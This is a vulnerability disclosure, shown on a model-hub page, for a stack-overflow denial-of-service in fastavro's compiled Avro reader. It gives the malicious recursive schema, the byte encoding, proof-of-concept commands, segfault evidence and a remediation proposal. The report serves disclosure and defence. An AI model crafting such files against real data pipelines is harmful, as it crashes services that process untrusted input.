You need to agree to share your contact information to access this model

This repository is publicly accessible, but you have to accept the conditions to access its files and content.

Log in or Sign Up to review the conditions and access this model content.

fastavro: unbounded native recursion decoding a recursive-schema Avro container file causes C-stack overflow (SIGSEGV / DoS)

Target: fastavro β€” fast Avro implementation for Python Affected version: fastavro 1.12.2 (latest release at time of report) Component: compiled Cython reader β€” fastavro/_read.pyx β†’ _read.cpython-313-x86_64-linux-gnu.so (the default fastavro.reader() API) Class: CWE-674 Uncontrolled Recursion β†’ C-stack exhaustion β†’ SIGSEGV (Denial of Service) Impact: An attacker-supplied .avro object-container file (~5 KB) crashes the Python interpreter (SIGSEGV) of any application that decodes it with the standard fastavro.reader(). No reader-side schema cooperation is required β€” the malicious schema travels inside the file header.


Root cause

An Avro object-container file embeds its own writer schema inside its header metadata under the avro.schema key. fastavro reads that schema out of the file and uses it to decode the data blocks. This means an attacker fully controls the decoding schema.

fastavro decodes record and union values by mutual recursion, with no depth limit. In the mirror pure-Python source (fastavro/_read_py.py, same logic as the compiled _read.pyx):

  • read_union (line ~406) selects a branch and calls read_data(...) on it.
  • read_record (line ~496) iterates the record's fields and calls read_data(...) for each field's type.

So for a self-recursive record schema the decode call chain is:

read_record -> _read_data -> read_union -> _read_data -> read_record -> ...

one native frame per nesting level. The compiled Cython extension does not participate in Python's sys.setrecursionlimit accounting, so instead of a catchable RecursionError the native C call stack is exhausted, crashing the whole interpreter with SIGSEGV.

Attacker-controlled recursive schema (embedded in the file header)

{"type":"record","name":"N","fields":[{"name":"next","type":["null","N"]}]}

Each nesting level is encoded as a single union-index byte 0x02 (branch index 1 = recurse into N); the chain is terminated by one 0x00 byte (branch index 0 = null). A file with D copies of 0x02 forces D levels of native recursion.


PoC

gen.py hand-builds a valid Avro object-container file with no dependency on fastavro's writer:

  • magic Obj\x01
  • metadata map {avro.schema: <recursive record N>, avro.codec: "null"}
  • 16-byte sync marker
  • one data block: object_count=1, a bytes-framed payload of D Γ— 0x02 followed by 0x00
  • trailing sync marker
$ ./venv/bin/python gen.py crash.avro 50000     # depth D = 50000
$ ./venv/bin/python -c "import fastavro; [None for _ in fastavro.reader(open('crash.avro','rb'))]"

crash.avro is 50,157 bytes. The minimal trigger is ~5 KB (D β‰ˆ 5000).


Captured evidence (verbatim, fastavro 1.12.2, CPython 3.13)

$ ./venv/bin/python -X faulthandler -c "import fastavro; [None for _ in fastavro.reader(open('crash.avro','rb'))]"
Fatal Python error: Segmentation fault

Current thread 0x00007fcb169d1200 (most recent call first):
  File "<string>", line 1 in <module>

Extension modules: fastavro._logical_readers, fastavro._schema, fastavro._read, fastavro._logical_writers, fastavro._validation, fastavro._write (total: 6)

Process exits with signal 11 (shell exit code 139).

Threshold / signal (isolated subprocesses)

D=3000   exit=0     (clean decode)
D=5000   exit=139   SIGSEGV
D=8000   exit=139   SIGSEGV
D=12000  exit=139   SIGSEGV
D=20000  exit=139   SIGSEGV
D=50000  exit=139   SIGSEGV

Negative control

shallow.avro (D=5)  ->  decodes cleanly, exit 0

Pure-Python contrast (isolates the defect to the compiled extension)

Running the same crash.avro through the pure-Python fallback reader raises a catchable RecursionError instead of segfaulting:

$ ./venv/bin/python -c "from fastavro import _read_py; [None for _ in _read_py.reader(open('crash.avro','rb'))]"
RecursionError (catchable)

This confirms the root cause is the compiled C extension (_read), which is what fastavro.reader() uses by default; the pure-Python path is protected by Python's recursion limit, the native path is not.

Verified compiled reader on disk: venv/lib/python3.13/site-packages/fastavro/_read.cpython-313-x86_64-linux-gnu.so.


Impact

Any service that ingests untrusted Avro container files with the standard, documented fastavro.reader() / fastavro.reader(fo) API β€” data pipelines, message consumers, file upload processors, ML feature stores β€” can be crashed (interpreter SIGSEGV, hard process kill) by a single ~5 KB file. The attack needs no reader-side schema; the recursive schema is carried inside the file. This is a reliable, low-cost, unauthenticated Denial of Service.

Suggested remediation

Enforce a configurable maximum decode-recursion depth in the Cython reader (mirroring what Python's recursion limit gives the pure-Python path), raising a catchable exception when exceeded β€” analogous to defenses used by other schema/serialization decoders against self-referential type definitions.

Dedup / prior work

No known CVE for this specific stack-overflow-via-recursive-schema in fastavro at time of report. Distinct from the codec/decompression memory-amplification bug class (a separate finding, "avro-decompression-bomb") and from TFRecord/Avro tooling findings β€” those concern memory amplification, not native call-stack exhaustion via schema recursion.

Downloads last month

-

Downloads are not tracked for this model. How to track
Inference Providers NEW
This model isn't deployed by any Inference Provider. πŸ™‹ Ask for provider support